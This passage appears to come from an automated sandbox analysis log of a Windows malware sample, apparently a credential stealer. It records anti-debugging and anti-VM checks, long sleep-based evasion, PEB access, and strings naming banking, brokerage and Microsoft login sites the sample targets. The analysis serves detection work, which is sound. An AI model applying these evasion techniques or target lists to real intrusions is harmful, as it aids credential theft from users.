            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6241Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8287Jump to behavior
            Source: C:\Windows\SysWOW64\compact.exeWindow / User API: threadDelayed 9823
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8573
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 809
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeAPI coverage: 0.7 %
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeAPI coverage: 0.2 %
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exe TID: 4128Thread sleep time: -922337203685477s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6640Thread sleep count: 6241 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2848Thread sleep time: -922337203685477s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3820Thread sleep time: -922337203685477s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2312Thread sleep time: -5534023222112862s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7068Thread sleep time: -922337203685477s >= -30000sJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe TID: 2064Thread sleep time: -922337203685477s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\compact.exe TID: 7712Thread sleep count: 149 > 30
            Source: C:\Windows\SysWOW64\compact.exe TID: 7712Thread sleep time: -298000s >= -30000s
            Source: C:\Windows\SysWOW64\compact.exe TID: 7712Thread sleep count: 9823 > 30
            Source: C:\Windows\SysWOW64\compact.exe TID: 7712Thread sleep time: -19646000s >= -30000s
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe TID: 7744Thread sleep time: -80000s >= -30000s
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe TID: 7744Thread sleep count: 33 > 30
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe TID: 7744Thread sleep time: -49500s >= -30000s
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe TID: 7744Thread sleep count: 40 > 30
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe TID: 7744Thread sleep time: -40000s >= -30000s
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5908Thread sleep time: -7378697629483816s >= -30000s
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: 66159w4.26.drBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
            Source: 66159w4.26.drBinary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
            Source: 66159w4.26.drBinary or memory string: Canara Transaction PasswordVMware20,11696492231}
            Source: 66159w4.26.drBinary or memory string: interactivebrokers.co.inVMware20,11696492231d
            Source: 66159w4.26.drBinary or memory string: netportal.hdfcbank.comVMware20,11696492231
            Source: 66159w4.26.drBinary or memory string: outlook.office.comVMware20,11696492231s
            Source: 66159w4.26.drBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
            Source: 66159w4.26.drBinary or memory string: AMC password management pageVMware20,11696492231
            Source: 66159w4.26.drBinary or memory string: interactivebrokers.comVMware20,11696492231
            Source: 66159w4.26.drBinary or memory string: microsoft.visualstudio.comVMware20,11696492231x
            Source: compact.exe, 0000001A.00000002.3724699331.00000000082E1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
            Source: 66159w4.26.drBinary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
            Source: 66159w4.26.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
            Source: 66159w4.26.drBinary or memory string: Test URL for global passwords blocklistVMware20,11696492231
            Source: 66159w4.26.drBinary or memory string: outlook.office365.comVMware20,11696492231t
            Source: compact.exe, 0000001A.00000002.3711399927.00000000034ED000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW`
            Source: 66159w4.26.drBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
            Source: 66159w4.26.drBinary or memory string: discord.comVMware20,11696492231f
            Source: firefox.exe, 0000001E.00000002.1923144444.0000019C0DB8C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
            Source: 66159w4.26.drBinary or memory string: global block list test formVMware20,11696492231
            Source: hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3718906371.0000000000E2F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll;
            Source: 66159w4.26.drBinary or memory string: dev.azure.comVMware20,11696492231j
            Source: 66159w4.26.drBinary or memory string: www.interactivebrokers.comVMware20,11696492231}
            Source: 66159w4.26.drBinary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
            Source: 66159w4.26.drBinary or memory string: bankofamerica.comVMware20,11696492231x
            Source: 66159w4.26.drBinary or memory string: trackpan.utiitsl.comVMware20,11696492231h
            Source: 66159w4.26.drBinary or memory string: tasks.office.comVMware20,11696492231o
            Source: 66159w4.26.drBinary or memory string: account.microsoft.com/profileVMware20,11696492231u
            Source: compact.exe, 0000001A.00000002.3724699331.0000000008305000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
            Source: 66159w4.26.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696492231
            Source: 66159w4.26.drBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
            Source: 66159w4.26.drBinary or memory string: ms.portal.azure.comVMware20,11696492231
            Source: 66159w4.26.drBinary or memory string: turbotax.intuit.comVMware20,11696492231t
            Source: 66159w4.26.drBinary or memory string: secure.bankofamerica.comVMware20,11696492231|UE
            Source: 66159w4.26.drBinary or memory string: Canara Transaction PasswordVMware20,11696492231x
            Source: 66159w4.26.drBinary or memory string: Interactive Brokers - HKVMware20,11696492231]
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess queried: DebugPortJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\SysWOW64\compact.exeProcess queried: DebugPort
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0127096E rdtsc 9_2_0127096E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_00417933 LdrLoadDll,9_2_00417933
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01260124 mov eax, dword ptr fs:[00000030h]9_2_01260124
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DE10E mov eax, dword ptr fs:[00000030h]9_2_012DE10E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DE10E mov ecx, dword ptr fs:[00000030h]9_2_012DE10E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DE10E mov eax, dword ptr fs:[00000030h]9_2_012DE10E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DE10E mov eax, dword ptr fs:[00000030h]9_2_012DE10E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DE10E mov ecx, dword ptr fs:[00000030h]9_2_012DE10E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DE10E mov eax, dword ptr fs:[00000030h]9_2_012DE10E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DE10E mov eax, dword ptr fs:[00000030h]9_2_012DE10E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DE10E mov ecx, dword ptr fs:[00000030h]9_2_012DE10E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DE10E mov eax, dword ptr fs:[00000030h]9_2_012DE10E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DE10E mov ecx, dword ptr fs:[00000030h]9_2_012DE10E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DA118 mov ecx, dword ptr fs:[00000030h]9_2_012DA118
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DA118 mov eax, dword ptr fs:[00000030h]9_2_012DA118
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DA118 mov eax, dword ptr fs:[00000030h]9_2_012DA118
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DA118 mov eax, dword ptr fs:[00000030h]9_2_012DA118
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012F0115 mov eax, dword ptr fs:[00000030h]9_2_012F0115
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01304164 mov eax, dword ptr fs:[00000030h]9_2_01304164
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01304164 mov eax, dword ptr fs:[00000030h]9_2_01304164
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012C4144 mov eax, dword ptr fs:[00000030h]9_2_012C4144
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012C4144 mov eax, dword ptr fs:[00000030h]9_2_012C4144
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012C4144 mov ecx, dword ptr fs:[00000030h]9_2_012C4144
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012C4144 mov eax, dword ptr fs:[00000030h]9_2_012C4144
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012C4144 mov eax, dword ptr fs:[00000030h]9_2_012C4144
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0122C156 mov eax, dword ptr fs:[00000030h]9_2_0122C156
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012C8158 mov eax, dword ptr fs:[00000030h]9_2_012C8158
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01236154 mov eax, dword ptr fs:[00000030h]9_2_01236154
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01236154 mov eax, dword ptr fs:[00000030h]9_2_01236154
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01270185 mov eax, dword ptr fs:[00000030h]9_2_01270185
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012EC188 mov eax, dword ptr fs:[00000030h]9_2_012EC188
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012EC188 mov eax, dword ptr fs:[00000030h]9_2_012EC188
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012D4180 mov eax, dword ptr fs:[00000030h]9_2_012D4180
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012D4180 mov eax, dword ptr fs:[00000030h]9_2_012D4180
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B019F mov eax, dword ptr fs:[00000030h]9_2_012B019F
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B019F mov eax, dword ptr fs:[00000030h]9_2_012B019F
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B019F mov eax, dword ptr fs:[00000030h]9_2_012B019F
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B019F mov eax, dword ptr fs:[00000030h]9_2_012B019F
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0122A197 mov eax, dword ptr fs:[00000030h]9_2_0122A197
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0122A197 mov eax, dword ptr fs:[00000030h]9_2_0122A197
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0122A197 mov eax, dword ptr fs:[00000030h]9_2_0122A197
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_013061E5 mov eax, dword ptr fs:[00000030h]9_2_013061E5
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012601F8 mov eax, dword ptr fs:[00000030h]9_2_012601F8
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012F61C3 mov eax, dword ptr fs:[00000030h]9_2_012F61C3
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012F61C3 mov eax, dword ptr fs:[00000030h]9_2_012F61C3
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012AE1D0 mov eax, dword ptr fs:[00000030h]9_2_012AE1D0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012AE1D0 mov eax, dword ptr fs:[00000030h]9_2_012AE1D0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012AE1D0 mov ecx, dword ptr fs:[00000030h]9_2_012AE1D0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012AE1D0 mov eax, dword ptr fs:[00000030h]9_2_012AE1D0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012AE1D0 mov eax, dword ptr fs:[00000030h]9_2_012AE1D0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0122A020 mov eax, dword ptr fs:[00000030h]9_2_0122A020
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0122C020 mov eax, dword ptr fs:[00000030h]9_2_0122C020
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012C6030 mov eax, dword ptr fs:[00000030h]9_2_012C6030
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B4000 mov ecx, dword ptr fs:[00000030h]9_2_012B4000
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012D2000 mov eax, dword ptr fs:[00000030h]9_2_012D2000
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012D2000 mov eax, dword ptr fs:[00000030h]9_2_012D2000
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012D2000 mov eax, dword ptr fs:[00000030h]9_2_012D2000
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012D2000 mov eax, dword ptr fs:[00000030h]9_2_012D2000
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012D2000 mov eax, dword ptr fs:[00000030h]9_2_012D2000
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012D2000 mov eax, dword ptr fs:[00000030h]9_2_012D2000
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012D2000 mov eax, dword ptr fs:[00000030h]9_2_012D2000
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012D2000 mov eax, dword ptr fs:[00000030h]9_2_012D2000
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0124E016 mov eax, dword ptr fs:[00000030h]9_2_0124E016
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0124E016 mov eax, dword ptr fs:[00000030h]9_2_0124E016
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0124E016 mov eax, dword ptr fs:[00000030h]9_2_0124E016
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0124E016 mov eax, dword ptr fs:[00000030h]9_2_0124E016
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125C073 mov eax, dword ptr fs:[00000030h]9_2_0125C073
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01232050 mov eax, dword ptr fs:[00000030h]9_2_01232050
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B6050 mov eax, dword ptr fs:[00000030h]9_2_012B6050
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012C80A8 mov eax, dword ptr fs:[00000030h]9_2_012C80A8
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012F60B8 mov eax, dword ptr fs:[00000030h]9_2_012F60B8
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012F60B8 mov ecx, dword ptr fs:[00000030h]9_2_012F60B8
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123208A mov eax, dword ptr fs:[00000030h]9_2_0123208A
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0122A0E3 mov ecx, dword ptr fs:[00000030h]9_2_0122A0E3
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012380E9 mov eax, dword ptr fs:[00000030h]9_2_012380E9
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B60E0 mov eax, dword ptr fs:[00000030h]9_2_012B60E0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0122C0F0 mov eax, dword ptr fs:[00000030h]9_2_0122C0F0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012720F0 mov ecx, dword ptr fs:[00000030h]9_2_012720F0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B20DE mov eax, dword ptr fs:[00000030h]9_2_012B20DE
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126A30B mov eax, dword ptr fs:[00000030h]9_2_0126A30B
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126A30B mov eax, dword ptr fs:[00000030h]9_2_0126A30B
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126A30B mov eax, dword ptr fs:[00000030h]9_2_0126A30B
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0122C310 mov ecx, dword ptr fs:[00000030h]9_2_0122C310
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01250310 mov ecx, dword ptr fs:[00000030h]9_2_01250310
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012D437C mov eax, dword ptr fs:[00000030h]9_2_012D437C
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B2349 mov eax, dword ptr fs:[00000030h]9_2_012B2349
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B2349 mov eax, dword ptr fs:[00000030h]9_2_012B2349
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B2349 mov eax, dword ptr fs:[00000030h]9_2_012B2349
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B2349 mov eax, dword ptr fs:[00000030h]9_2_012B2349
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B2349 mov eax, dword ptr fs:[00000030h]9_2_012B2349
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B2349 mov eax, dword ptr fs:[00000030h]9_2_012B2349
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B2349 mov eax, dword ptr fs:[00000030h]9_2_012B2349
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B2349 mov eax, dword ptr fs:[00000030h]9_2_012B2349
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B2349 mov eax, dword ptr fs:[00000030h]9_2_012B2349
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B2349 mov eax, dword ptr fs:[00000030h]9_2_012B2349
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B2349 mov eax, dword ptr fs:[00000030h]9_2_012B2349
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B2349 mov eax, dword ptr fs:[00000030h]9_2_012B2349
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B2349 mov eax, dword ptr fs:[00000030h]9_2_012B2349
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B2349 mov eax, dword ptr fs:[00000030h]9_2_012B2349
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B2349 mov eax, dword ptr fs:[00000030h]9_2_012B2349
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B035C mov eax, dword ptr fs:[00000030h]9_2_012B035C
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B035C mov eax, dword ptr fs:[00000030h]9_2_012B035C
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B035C mov eax, dword ptr fs:[00000030h]9_2_012B035C
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B035C mov ecx, dword ptr fs:[00000030h]9_2_012B035C
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B035C mov eax, dword ptr fs:[00000030h]9_2_012B035C
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B035C mov eax, dword ptr fs:[00000030h]9_2_012B035C
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012FA352 mov eax, dword ptr fs:[00000030h]9_2_012FA352
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012D8350 mov ecx, dword ptr fs:[00000030h]9_2_012D8350
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0122E388 mov eax, dword ptr fs:[00000030h]9_2_0122E388
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0122E388 mov eax, dword ptr fs:[00000030h]9_2_0122E388
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0122E388 mov eax, dword ptr fs:[00000030h]9_2_0122E388
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125438F mov eax, dword ptr fs:[00000030h]9_2_0125438F
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125438F mov eax, dword ptr fs:[00000030h]9_2_0125438F
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01228397 mov eax, dword ptr fs:[00000030h]9_2_01228397
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01228397 mov eax, dword ptr fs:[00000030h]9_2_01228397
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01228397 mov eax, dword ptr fs:[00000030h]9_2_01228397
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012403E9 mov eax, dword ptr fs:[00000030h]9_2_012403E9
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012403E9 mov eax, dword ptr fs:[00000030h]9_2_012403E9
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012403E9 mov eax, dword ptr fs:[00000030h]9_2_012403E9
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012403E9 mov eax, dword ptr fs:[00000030h]9_2_012403E9
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012403E9 mov eax, dword ptr fs:[00000030h]9_2_012403E9
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012403E9 mov eax, dword ptr fs:[00000030h]9_2_012403E9
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012403E9 mov eax, dword ptr fs:[00000030h]9_2_012403E9
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012403E9 mov eax, dword ptr fs:[00000030h]9_2_012403E9
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0124E3F0 mov eax, dword ptr fs:[00000030h]9_2_0124E3F0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0124E3F0 mov eax, dword ptr fs:[00000030h]9_2_0124E3F0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0124E3F0 mov eax, dword ptr fs:[00000030h]9_2_0124E3F0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012663FF mov eax, dword ptr fs:[00000030h]9_2_012663FF
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012EC3CD mov eax, dword ptr fs:[00000030h]9_2_012EC3CD
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123A3C0 mov eax, dword ptr fs:[00000030h]9_2_0123A3C0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123A3C0 mov eax, dword ptr fs:[00000030h]9_2_0123A3C0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123A3C0 mov eax, dword ptr fs:[00000030h]9_2_0123A3C0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123A3C0 mov eax, dword ptr fs:[00000030h]9_2_0123A3C0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123A3C0 mov eax, dword ptr fs:[00000030h]9_2_0123A3C0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123A3C0 mov eax, dword ptr fs:[00000030h]9_2_0123A3C0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012383C0 mov eax, dword ptr fs:[00000030h]9_2_012383C0
